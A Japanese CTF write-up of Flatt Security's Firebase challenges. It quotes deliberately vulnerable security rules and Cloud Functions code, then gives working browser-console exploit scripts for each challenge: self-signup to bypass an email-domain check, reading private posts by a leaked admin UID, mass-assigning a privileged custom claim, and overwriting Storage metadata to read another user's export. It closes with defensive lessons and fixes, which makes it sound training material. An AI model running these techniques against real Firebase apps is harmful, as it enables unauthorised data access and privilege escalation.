Flatt Security mini CTF #5 Writeup
はじめに
先日、株式会社Flatt Securityさんの主催する初中級者向けのCTFに参加してきました!
私が解けた問題は2問(ティザー問題除く)でした!
本記事では振り返りも兼ねてWriteupと感想を書いていこうと思います。
今回のCTF
今回のCTFはFirebaseがテーマとなっていました。
Firebaseとは?
Googleが提供するアプリ開発プラットフォームです。
BaaS(Backend as a service)の一つであり、ユーザー認証やファイルストレージなどのバックエンドに関する様々な機能を手軽に実装できます。
Firebaseはモダンで便利なサービスである一方、セキュリティの注意点が広く知られておらず、設定不備による脆弱性が発生しやすいサービスであるとも言えます。
CTF問題は開発者にも優しい難易度となっているため、皆さんもぜひ問題に取り組みながら記事を読んでみてください。
(問題は後日公開されるそうです!)
問題: https://github.com/flatt-security/mini-ctf/tree/main/2024-06-firebase
環境構築方法
git clone https://github.com/flatt-security/mini-ctf.git
cd mini-ctf/2024-06-firebase/chall-00/frontend # ティザー問題
firebase login
ここで、https://console.firebase.google.com/ にアクセスし、アプリの登録まで進めます。
アプリを登録するとProject IDが取得できるため、.firebaserc
に記載されている"flatt-minictf-practice"
を自分のIDに書き換えましょう。
{
"projects": {
"default": "自分のProject ID"
}
}
次に、FirebaseコンソールからCloud Firestoreに行き、データベースを作成します。(Start in production modeを選択)
そして、次のコマンドを入力するとデプロイできます。
pwd # 2024-06-firebase/chall-0X/frontend
npm install vue-tsc
npm run build
firebase deploy
Hosting URL:
に記されたURLにアクセスしましょう!
フラグの表示も行いたい場合は、Cloud Firestoreでコレクションとドキュメントを設定しましょう。(add-flag.js
を参考にしてください)
二回目以降の環境構築の際は前回のデプロイの取り消しが必要になります。
firebase hosting:disable
補足
- chall-01ではAuthenticationメニューからEmail/Password認証の許可が必要になります
- chall-02ではコレクションにpublicPostsとprivatePostsの設定が必要になります(
add-flag.js
を参照) - chall-03とchall-04はCloud Functionが必要になるため課金が必要になるみたいです。(eslintエラーはfirebase.jsonのpredeployの箇所を消すと解決します)
Writeup
ティザー問題
ティザー問題は、Firebaseに関する基礎知識が書かれたWebサイトとともに配布されました。
この問題のフラグは add-flag.js を読むと分かる通り flags コレクションの flag ドキュメントに格納されているので、これまでのコードを組み合わせてアクセスしてみましょう。
問題ファイルの抜粋
(async () => {
/**
* REDACTED
*/
const FLAG = "<REDACTED>"
await firebase.firestore().collection('flags').doc('flag').set({
flag: FLAG
});
})();
import { initializeApp } from 'firebase/app';
export const firebaseApp = initializeApp({
apiKey: 'AIzaSyBTn0 ...',
...[以下略]
});
rules_version = '2';
service cloud.firestore {
match /databases/{database}/documents {
match /{document=**} {
allow read;
}
}
}
解説
- ブラウザのDevToolsからConsoleタブを開く
- 次のコードを入力することで、Firebaseの様々な関数が使用できるようになるfirebase.js
(async () => { const load = (url) => new Promise((resolve) => { const script = document.createElement("script"); script.setAttribute("src", url); script.onload = resolve; document.body.appendChild(script); }); await load("https://www.gstatic.com/firebasejs/8.10.1/firebase.js"); })();
-
firebase.initializeApp
を呼び出し、アプリがデプロイされているFirebaseと通信を行えるようにする
この設定の内容は配布ファイルのfirebase.ts
、または、https://<Firebaseアプリのドメイン名>/__/firebase/init.js
にアクセスすることで手に入る。firebase.tsfirebase.initializeApp({ apiKey: 'AIzaSyBTn0 ...', ..[以下略] });
- add-flag.jsを確認し、Flagの格納場所を確認するadd-flag.js
(async () => { /** * REDACTED */ const FLAG = "<REDACTED>" await firebase.firestore().collection('flags').doc('flag').set({ flag: FLAG }); })();
- 次のコードでFirestoreからflagを取得する
(async () => { const doc = await firebase.firestore().collection('flags').doc('flag').get(); console.log(doc.data()); })();
flag{w31c0m3_70_f1477_53cur17y_f1r3b453_m1n1_c7f}
-> welcome_to_flatt_security_firebase_mini_ctf
-> Flatt Security Firebase mini CTF へようこそ!
Internal(warmup)
秘密の FLAG を管理するための社内向けアプリケーションを実装してみました。 アカウントは招待制なので登録もログインできないと思いますよ。
問題画面
問題ファイルの抜粋
(async () => {
/**
* REDACTED
*/
const FLAG = "<REDACTED>"
await firebase.firestore().collection('flags').doc('flag').set({
flag: FLAG
});
})();
rules_version = '2';
service cloud.firestore {
match /databases/{database}/documents {
match /flags/flag {
allow get: if (
request.auth != null &&
// メールアドレスのドメインが @flatt.example.test ではない場合は拒否
request.auth.token.email.matches("^.+@flatt.example.test$")
);
}
}
ヒント
ヒント1
自分から Firebase Authentication 上にアカウントを作成する方法はないでしょうか?
ヒント2
https://firebase.google.com/docs/auth/web/password-auth?hl=ja
ヒント3
(async () => { const load = (url) => new Promise((resolve) => { const script = document.createElement("script"); script.setAttribute("src", url); script.onload = resolve; document.body.appendChild(script); }); await load("https://www.gstatic.com/firebasejs/10.7.0/firebase-app-compat.js"); await load("https://www.gstatic.com/firebasejs/10.7.0/firebase-auth-compat.js"); await load("https://www.gstatic.com/firebasejs/10.7.0/firebase-firestore-compat.js"); firebase.initializeApp({ apiKey: "AIzaSyDCCJ2lTAU79fC2URzG8ndw1Ee-4qvO3CM", authDomain: "flatt-minictf-internal.firebaseapp.com", projectId: "flatt-minictf-internal", storageBucket: "flatt-minictf-internal.appspot.com", messagingSenderId: "662671516916", appId: "1:662671516916:web:8ca0e3a5fd923f4ccaaaa1" }); // アカウントを作成して、フラグを取得する // ... })();
ヒント4
https://firebase.google.com/docs/auth/web/password-auth?hl=ja#create_a_password-based_account
解説
問題文の通り、サインアップボタンも無ければ既存ユーザーのパスワードもないため、ログインすることができない。
ここで「自分から Firebase Authentication 上にアカウントを作成する方法」とやらを検索する。
->https://firebase.google.com/docs/auth/web/password-auth?hl=ja
createUserWithEmailAndPassword
関数を用いることで新しいユーザーが作成できる。
firestore.rules
を見ると、get処理を行うための条件として次の二つが書かれている。
-
request.auth
が存在する - メールアドレスが「@flatt.example.test」で終わる
firestore.rulesrules_version = '2'; service cloud.firestore { match /databases/{database}/documents { match /flags/flag { allow get: if ( request.auth != null && // メールアドレスのドメインが @flatt.example.test ではない場合は拒否 request.auth.token.email.matches("^.+@flatt.example.test$") ); } } }
つまり、「@flatt.example.test」で終わる適当なメールアドレスを登録することでflagを読み取ることができる。
- ライブラリをインポートする && Firebase SDKの基本設定をする
(ティザー問題を参照) - 「@flatt.example.test」で終わるメールアドレスでユーザーを作成する
- 作成したユーザーでサインインする
- ドキュメントを取得する
(async () => { const email = 'example@flatt.example.test'; // @flatt.example.testで終わる適当なemailを入力 const password = 'password'; // ユーザーを作成 await firebase.auth().createUserWithEmailAndPassword(email, password); console.log('User created successfully'); // サインイン await firebase.auth().signInWithEmailAndPassword(email, password); console.log('User signed in successfully'); // ドキュメントを取得 const doc = await firebase.firestore().collection('flags').doc('flag').get(); console.log(doc.data()); })();
flag{b3_c4r3ful_w17h_53lf_516nup}
-> be careful with self signup
-> 自己サインアップには注意しよう!
(自己サインアップ: 本来のユーザ登録フローを経由せずに、APIを用いてユーザ登録を行うこと)
Posts(easy)
秘密にしたい投稿もありますよね。
問題画面(サインイン後)
問題ファイルの抜粋
(async () => {
/**
* REDACTED
*/
await firebase.auth().createUserWithEmailAndPassword('admin@flatt.tech', '<REDACTED>');
await firebase.auth().signInWithEmailAndPassword('admin@flatt.tech', '<REDACTED>');
const adminUserId = firebase.auth().currentUser.uid;
const FLAG = "<REDACTED>"
await firebase.firestore().collection('publicPosts').add({
name: 'admin@flatt.tech',
body: "Hello, I'm admin!",
createdBy: adminUserId,
});
await firebase.firestore().collection('privatePosts').doc('0').collection(adminUserId).add({
name: 'FLAG',
body: FLAG,
createdBy: adminUserId,
});
})();
rules_version = '2';
service cloud.firestore {
match /databases/{database}/documents {
function checkSchema() {
let incoming = request.resource.data;
return (
incoming.keys().hasAll(['name', 'body', 'createdBy']) &&
incoming.keys().hasOnly(['name', 'body', 'createdBy']) &&
incoming.name is string &&
incoming.name != "admin@flatt.tech" &&
incoming.body is string &&
incoming.body.size() >= 1 &&
incoming.createdBy is string &&
incoming.createdBy == request.auth.uid
);
}
match /publicPosts/{postId} {
allow read: if (
request.auth != null
);
allow create: if (
request.auth != null &&
checkSchema()
);
}
match /privatePosts/0/{uid}/{postId} {
allow read: if (
request.auth != null
);
allow create: if (
request.auth != null &&
checkSchema() &&
uid == request.auth.uid
);
}
}
}
ヒント
ヒント1
フラグは /privatePosts/0/<adminのユーザーID> コレクション内にあるようです
ヒント2
どこかに admin のユーザーIDが書き込まれていないでしょうか?
解説
-
add-flag.js
を見ると、privatePosts
コレクション内の0ドキュメントの中のadminUserId
コレクション内にFLAGが含まれている。
add-flag.jsawait firebase.firestore().collection('privatePosts').doc('0').collection(adminUserId).add({ name: 'FLAG', body: FLAG, createdBy: adminUserId, });
-
adminUserId
はpublicPosts
コレクション内のcreatedBy
の値にも含まれている
add-flag.jsawait firebase.firestore().collection('publicPosts').add({ name: 'admin@flatt.tech', body: "Hello, I'm admin!", createdBy: adminUserId, });
-
firestore.rules
を見てみると、/publicPosts/{postId}
はサインインしているユーザーであれば誰でも読み取れる
firestore.rulesmatch /publicPosts/{postId} { allow read: if ( request.auth != null );
-
/privatePosts/0/{uid}/{postId}
もuid
が分かれば誰でも閲覧できる
allow read: if ( request.auth != null );
したがって、解答は次のようになる。
(async () => {
// サインインの処理は省略
// ドキュメントを取得 -> 目視でadminUserIdを確認
const snapshot = await firebase.firestore().collection('publicPosts').get();
snapshot.docs.forEach(doc => console.log(doc.data())); // collectionから.getするときはforEach
// adminUserIdを追加してFlagを取得
const doc = await firebase.firestore().collection('privatePosts').doc('0').collection('e3rd5IxFaOeTb6yFGsA2IRFEw9V2').get();
doc.docs.forEach(doc => console.log(doc.data()));
})();
flag{pl5_ch3ck_r3qu357_4u7h_u1d_pr0p3rly}
-> please check request auth uid properly
-> リクエストの認証UIDを正しく確認してください
Flatt Clicker(medium)
たくさんクリックしましょう
問題画面(サインイン後)
問題ファイルの抜粋
import * as functions from "firebase-functions";
import {getAuth} from "firebase-admin/auth";
// 省略
export const updateTier = functions
.firestore
.document("/users/{userId}")
.onUpdate(async (change, ctx) => {
const data = change.after.data();
try {
let tier;
if (data.clicks < 10) {
tier = "BRONZE";
} else if (data.clicks < 100) {
tier = "SILVER";
} else if (data.clicks < 3133333337) {
tier = "GOLD";
} else {
tier = "HACKER";
}
await getAuth().setCustomUserClaims(ctx.params.userId, {
tier,
...data,
});
return "OK";
} catch (e) {
functions.logger.error(e);
throw new functions.auth.HttpsError("unavailable", String(e));
}
});
(async () => {
/**
* REDACTED
*/
const FLAG = "<REDACTED>"
await firebase.firestore().collection('flags').doc('flag').set({
flag: FLAG,
});
})();
rules_version = '2';
service cloud.firestore {
match /databases/{database}/documents {
match /users/{uid} {
allow get: if (
request.auth != null &&
request.auth.uid == uid
);
allow update: if (
request.auth != null &&
request.auth.uid == uid &&
request.resource.data.keys().hasAll(['clicks']) &&
request.resource.data.clicks is int &&
request.resource.data.clicks == resource.data.clicks + 1
);
}
match /flags/flag {
allow get: if (
request.auth != null &&
request.auth.token.tier == 'HACKER'
);
}
}
}
ヒント
ヒント1
tier を更新する方法を調査してみましょう
ヒント2
Firestore では clicks フィールドがインクリメントされていることが確認されています。では、その他のフィールドに関するルールは定義されているでしょうか?
解説
-
add-flag.js
を見ると、flags
コレクション内のflag
ドキュメントにアクセスすれば良いことが分かる
add-flag.jsawait firebase.firestore().collection('flags').doc('flag').set({ flag: FLAG, });
-
firebase.rules
を見るとflag
を読み取るには、「サインインしている」ことと「tierの値が'HACKER'である」ことを検証している
firebase.rulesmatch /flags/flag { allow get: if ( request.auth != null && request.auth.token.tier == 'HACKER' ); }
-
index.ts
を見ると、click数が3133333337以上だとtier = "HACKER"
になることが分かる
index.tslet tier; if (data.clicks < 10) { tier = "BRONZE"; } else if (data.clicks < 100) { tier = "SILVER"; } else if (data.clicks < 3133333337) { tier = "GOLD"; } else { tier = "HACKER"; }
-
firestore.rules
を見るとデータの更新時にclickの検証が行われているため、click数の大幅な上書きができない
(while文を使えば自動で書き換えが可能だが、APIリクエスト数が増えてFirebase使用料金がとんでもないことになってしまう)
firebase.rulesmatch /users/{uid} { //略 allow update: if ( request.auth != null && request.auth.uid == uid && request.resource.data.keys().hasAll(['clicks']) && request.resource.data.clicks is int && request.resource.data.clicks == resource.data.clicks + 1 ); }
-
index.ts
をもう一度見ると、入力値がスプレッド構文で代入されている
(Mass assignment脆弱性につながる)Mass assignment脆弱性とは?
ユーザーからの入力データをオブジェクトのプロパティに一括で割り当てる際に発生する脆弱性。
data
に{tier: "HACKER", click: 4}
を代入することで、先に代入されているtierの値が上書きされてしまう。index.tsawait getAuth().setCustomUserClaims(ctx.params.userId, { tier: "BRONZE", { tier: "HACKER", click: 4 } });
await getAuth().setCustomUserClaims(ctx.params.userId, { tier, ...data, });
したがって、解答は次のようになる。
(async () => {
// サインインの処理は省略
// サインインしたユーザーの情報を取得
const user = firebase.auth().currentUser;
const uid = user.uid;
// Firestoreからドキュメントを取得
const docRef = firebase.firestore().collection('users').doc(uid);
const doc = await docRef.get();
const userData = doc.data();
console.log('Current data:', userData);
// ドキュメントのデータを更新する(クリック数をインクリメント)
await docRef.update({ // 値の更新にはdocへの参照が必要(中身のJSONは要らない)
clicks: userData.clicks + 1, // セキュリティルールを満たすためにclicksフィ>ールドをインクリメント
tier: 'HACKER'
});
// トークンの更新を強制する
await user.getIdToken(true);
// 更新後のデータを再度取得して表示
const updatedDoc = await docRef.get();
const updatedData = updatedDoc.data();
console.log('Updated data:', updatedData);
// ドキュメントを取得
const doc_flag = await firebase.firestore().collection('flags').doc('flag').get();
console.log(doc_flag.data());
})();
flag{m455_m455_m455_45516nm3n7}
-> mass_mass_mass_assignment
-> mass assignment脆弱性
NoteExporter(hard)
大事なデータは Cloud Storage にエクスポートすると安心!
問題画面(サインイン後)
問題ファイルの抜粋
export const createLog = functions
.region("asia-northeast1")
.firestore
.document("users/{userId}/notes/{noteId}")
.onCreate(async (snapshot) => {
try {
await getFirestore().collection("logs").add({
path: snapshot.ref.path,
createdAt: new Date().toISOString(),
});
} catch (e) {
functions.logger.error(e);
throw new functions.auth.HttpsError("unavailable", String(e));
}
});
export const exportNote = functions
.https
.onCall(async (data, ctx) => {
try {
if (!ctx.auth) {
throw new functions.auth.HttpsError("permission-denied", "error");
}
const doc = await getFirestore().doc(data.path).get();
const docData = doc.data();
if (docData === undefined) {
throw new functions.auth.HttpsError("unavailable", "error");
}
const bucket = getStorage().bucket();
const userId = doc.ref.path.split("/")[1];
const storagePath = `exports/${userId}/${uuidv4()}.json`;
await bucket.file(storagePath).save(JSON.stringify(docData));
const adminUserId = (
await getAuth().getUserByEmail("admin@flatt.tech")
).uid;
await bucket.file(storagePath).setMetadata({
metadata: {
allowedUserId: adminUserId,
},
});
return {
storagePath,
};
} catch (e) {
functions.logger.error(e);
throw new functions.auth.HttpsError("unavailable", String(e));
}
});
(async () => {
/**
* REDACTED
*/
await firebase.auth().createUserWithEmailAndPassword('admin@flatt.tech', '<REDACTED>');
await firebase.auth().signInWithEmailAndPassword('admin@flatt.tech', '<REDACTED>');
const adminUserId = firebase.auth().currentUser.uid;
const FLAG = "<REDACTED>"
await firebase.firestore().collection('users').doc(adminUserId).collection('notes').add({
note: FLAG,
});
})();
rules_version = '2';
service cloud.firestore {
match /databases/{database}/documents {
match /users/{userId} {
allow read: if (
request.auth != null
);
match /notes/{noteId} {
allow read: if (
request.auth != null &&
request.auth.uid == userId
);
allow create: if (
request.auth != null &&
request.auth.uid == userId &&
request.resource.data.note is string &&
request.resource.data.note.size() >= 1
);
}
}
match /logs/{logId} {
allow read: if (
request.auth != null
);
}
}
}
rules_version = '2';
service firebase.storage {
match /b/{bucket}/o {
match /exports/{userId}/{fileName} {
allow get: if (
request.auth != null &&
(
request.auth.uid == userId ||
request.auth.uid == resource.metadata.allowedUserId
)
);
// MEMO: 各ユーザーのフォルダは Cloud Functions からしか書き込めないないようにしておく
allow write: if false;
}
// MEMO: それ以外のフォルダは将来的な機能拡張のために書き込めるようにしておく
match /exports/{free=**} {
allow write: if (
request.auth != null &&
request.resource.size < 5 * 1024
);
}
}
}
ヒント
ヒント1
問題を構成する要素 (Firestore, Cloud Functions, Cloud Storage) についてまずは整理してみましょう。
ヒント2
Cloud Storage のセキュリティルールにおいて /exports/{userId}/{fileName} への書き込みが禁止されているためメタデータの更新ができないように見えますが、何とかして更新する方法はないでしょうか?
解説
-
add-flag.js
を見るとusersコレクション内のadminUserId
ドキュメント内のnotes
コレクション内にFLAGがある
add-flag.jsawait firebase.firestore().collection('users').doc(adminUserId).collection('notes').add({ note: FLAG, });
firestore.rules
に着目する
まず-
firestore.rules
を見ると、/users/{userId}
と/logs/{logId}
の読み取りは許可されている
firestore.rulesmatch /users/{userId} { allow read: if ( request.auth != null ); // 略 } match /logs/{logId} { allow read: if ( request.auth != null ); }
-
/notes/{noteId}
の読み取りには、uid
の一致が求められる
=>今回書き換えは難しそう
firestore.rulesmatch /notes/{noteId} { allow read: if ( request.auth != null request.auth.uid == userId );
- 一旦情報を整理する
-
/users/{userId}と/logs/{logId}
の読み取りは可能 -
/notes/{noteId}
の読み取りは難しそう
-
storage.rules
に着目する
次に-
storage.rules
を見ると自分のファイルに限り、/exports/{userId}/{fileName}
の取得が可能match /exports/{userId}/{fileName} { allow get: if ( request.auth != null && ( request.auth.uid == userId || request.auth.uid == resource.metadata.allowedUserId ) );
- また、
/exports/{userId}/{fileName}
の書き込みは禁止されているが、その後/exports/{free=**}
のルールによって前述のwriteルールが上書きされている
つまり、/exports/{userId}/{fileName}
も書き込み可能となる
(サインイン済み かつ ファイルサイズが5*1024以下の場合)// MEMO: 各ユーザーのフォルダは Cloud Functions からしか書き込めないないようにしておく allow write: if false; } // MEMO: それ以外のフォルダは将来的な機能拡張のために書き込めるようにしておく match /exports/{free=**} { allow write: if ( request.auth != null && request.resource.size < 5 * 1024 ); }
- 一旦情報を整理する
-
/users/{userId}と/logs/{logId}
の読み取りは可能 -
/notes/{noteId}
の読み取りは難しそう -
/exports/{userId}/{fileName}
は自分のファイルに限り、閲覧可能 -
/exports/{userId}/{fileName}
は他人のファイルも書き換え可能
-
最後に、手を動かしながら情報を集める
-
Webの挙動
このアプリはメッセージをPOSTすると、内容がWeb上に保存され、ファイルにエクスポートできるというものである。
エクスポートすると、ファイル名が画面上に表示される。 -
ファイル名がどのように定義されるのかを調べる
index.ts(一部省略)export const exportNote = functions .https .onCall(async (data, ctx) => { try { const doc = await getFirestore().doc(data.path).get(); const docData = doc.data(); const bucket = getStorage().bucket(); const userId = doc.ref.path.split("/")[1]; const storagePath = `exports/${userId}/${uuidv4()}.json`; await bucket.file(storagePath).save(JSON.stringify(docData));
このコードより、ファイル名から自分の
userId
が取得できることが分かる。
また、そのままコードを読むと、adminUserId
が全ユーザーのファイルのメタデータに含まれていることに気づく -
adminUserId
を調べる
index.tsには以下のような記述がある。index.ts(一部省略)export const exportNote = functions .https .onCall(async (data, ctx) => { // 略 const userId = doc.ref.path.split("/")[1]; const storagePath = `exports/${userId}/${uuidv4()}.json`; await bucket.file(storagePath).save(JSON.stringify(docData)); const adminUserId = ( await getAuth().getUserByEmail("admin@flatt.tech") ).uid; await bucket.file(storagePath).setMetadata({ metadata: { allowedUserId: adminUserId, }, }); return { storagePath, };
このコードより、自分のファイルをエクスポートし、そのオブジェクトを調べることで
adminUserId
が取得できることが分かる。 -
log作成の処理を調べる
index.tsには以下のような記述がある。index.ts(一部省略)export const createLog = functions .region("asia-northeast1") .firestore .document("users/{userId}/notes/{noteId}") .onCreate(async (snapshot) => { try { await getFirestore().collection("logs").add({ path: snapshot.ref.path, createdAt: new Date().toISOString(), });
logには
users/{userId}/notes/{noteId}
のパス名が記述されることが分かる。
つまり、adminUserId
を特定して検索を掛ければadminのnoteId
も取得できることが分かる。
-
一旦情報を整理する
-
/users/{userId}
と/logs/{logId}
の読み取りは可能 -
/notes/{noteId}
の読み取りは難しそう -
/exports/{userId}/{fileName}
は自分のファイルに限り、閲覧可能 -
/exports/{free=**}
は他人のファイルも書き換え可能 -
adminUserId
とadminのnoteId
は取得可能
-
-
方針を考える
- adminユーザーのファイル(
/notes/{noteId}
)を特定し、exportさせる-
/notes/{noteId}
からの直接読み取りができない -
/exports/{free=**}
は書き換え可能のため、他人のファイルもexportできる
-
- exportしたファイルの情報を自分のものに書き換える
-
/exports/{free=**}
は書き換え可能 -
/exports/{userId}/{fileName}
は自分のファイルに限り、閲覧可能のため、request.auth.uid
を書き換えて自分のものにする
-
- adminのファイルをgetし、フラグを読み取る
- adminユーザーのファイル(
したがって、解答は次のようになる。
(async () => {
// サインインの処理は省略
// ファイルをexportし、storagePathを取得する
const userId = 'FHQ19N4TX1fK4QjvJA58Z63YBQ32'
const result = await firebase.functions().httpsCallable('exportNote')({path: 'users/' + userId})
console.log('storagePath:', result.data.storagePath);// storagePathを取得
// storagePathのメタデータからadminUserIdを取得
const metadata = await firebase.storage().ref().child(result.data.storagePath).getMetadata()
const allowedUserId = metadata.customMetadata.allowedUserId;
console.log('allowedUserId:', allowedUserId);
// logsからpathにallowedUserIdが含まれているものを探す
const snapshot = await firebase.firestore().collection('logs').get();
snapshot.docs.forEach(doc => console.log(doc.data()));
// {createdAt: '2024-05-28T10:49:12.698Z', path: 'users/6W7jG2C619g4BQggdofcIR2OKZv2/notes/g7xeDRCXpLi59EDUsWBr'}
// コマンド上でも特定可能: (await firebase.firestore().collection('logs').get()).docs.map(el => el.data()).filter(el => el.path.includes('6W7jG2C619g4BQggdofcIR2OKZv2'))[0]
const adminFileNote = 'users/6W7jG2C619g4BQggdofcIR2OKZv2/notes/g7xeDRCXpLi59EDUsWBr'
// ファイルをエクスポートする
const admin_file = await firebase.functions().httpsCallable('exportNote')({path: adminFileNote})
const adminStoragePath = admin_file.data.storagePath
console.log(adminStoragePath)
// metadataを書き換えて、自分のuserIdに書き換える(.jsonに注意)
await firebase.storage().ref().child(adminStoragePath).updateMetadata({customMetadata: {allowedUserId: userId}})
// データにアクセスする
const url = await (await firebase.storage().ref().child(adminStoragePath).getDownloadURL())
console.log(url)
})();
flag{7h4nk_y0u_f0r_pl4y1n6!!!}
-> Thank you for playing!!!
CTFから得られた学び
・ ティザー問題
- initializeAppに含まれる情報は外部からも取得できる場合がある
FirebaseのAPIキーは機密情報ではないため、APIキーが取得されたとしてもなお安全であると言えるような対策を行う必要があります。
https://blog.flatt.tech/entry/firebase_vulns_10
・ Internal
- サインアップボタンがなくともAPIを用いてユーザーが作成できる場合がある
- 限られたユーザーのみアクセスを許可したい場合は、「自己サインアップの拒否」か「正規のユーザ作成フローを識別するカスタムクレームの作成」を行う
- メールアドレスを用いたアクセス制御をする場合は、確認用のメールを送信して検証する
- セキュリティルールにメールアドレスの所有確認を追加する
この問題の脆弱性に関する詳しい解説はFlatt SecurityブログのFirebase利用時に発生しやすい脆弱性とその対策10選をご参照ください。
・ Posts
- 重要な情報は公開情報に含めない(
createdBy
の値にadminUserId
を含めない) - セキュリティルールをより厳格に記述する(
request.auth != null
だけでは不十分)
・ Flatt Clicker
- カスタムクレームの変更にはFirebase Admin SDKが必要のため、セキュリティルールで入力値を検証すれば改竄されない
request.resource.data.clicks == resource.data.clicks + 1
-
hasOnly
を用いて、入力値に想定しないフィールドが存在しないかの検証を行うrequest.resource.data.keys().hasAll(['clicks']) && request.resource.data.keys().hasOnly(['clicks'])
- 入力値を検証せずにそのまま代入しないようにする
await getAuth().setCustomUserClaims(ctx.params.userId, { tier, data.clicks, // 修正: ...dataを使用しない });
・ NoteExporter
- セキュリティルールのパスは重複しないように細かい制御を行う
/private/{document=**}
は/{document=**}
よりも厳密にリクエストのパスにマッチするから、といった理由で特定のルールが優先されることはありません。
https://blog.flatt.tech/entry/2020/04/10/122834
株式会社Flatt Securityについて
今回CTFを主催してくださったFlatt Securityさんは技術ブログを多数公開しています。
Firebaseに関係する技術ブログ
- Firebase利用時に発生しやすい脆弱性とその対策10選
https://blog.flatt.tech/entry/firebase_vulns_10 - Firebase Authentication 7つの落とし穴-脆弱性を生むIDaaSの不適切な利用
https://blog.flatt.tech/entry/firebase_authentication_security - Firestoreセキュリティルールの基礎と実践-セキュアな Firebase活用に向けたアプローチを理解する
https://blog.flatt.tech/entry/firestore_security_rules - Firebaseにおけるセキュリティの概要と実践
https://blog.flatt.tech/entry/2020/04/10/122834
他にも、CTFイベントや勉強会などを開催しています(https://flatt.connpass.com/)
また、専門のセキュリティエンジニアによるFirebaseに対する脆弱性診断サービスを提供しています。ぜひチェックしてみてください。
- 公式サイト: https://flatt.tech/
- Twitter: https://x.com/flatt_security
おわりに
Flatt Security mini CTF #5とても楽しかったです!
難易度も初心者に優しく、1時間楽しく悩み続けることができました。
CTF競技後には歓談の時間も設けられ、他のCTFプレイヤーや社員・アルバイトの方々と色々なお話をすることができました。
皆さんも次回イベントにぜひ参加してみてください👍
Discussion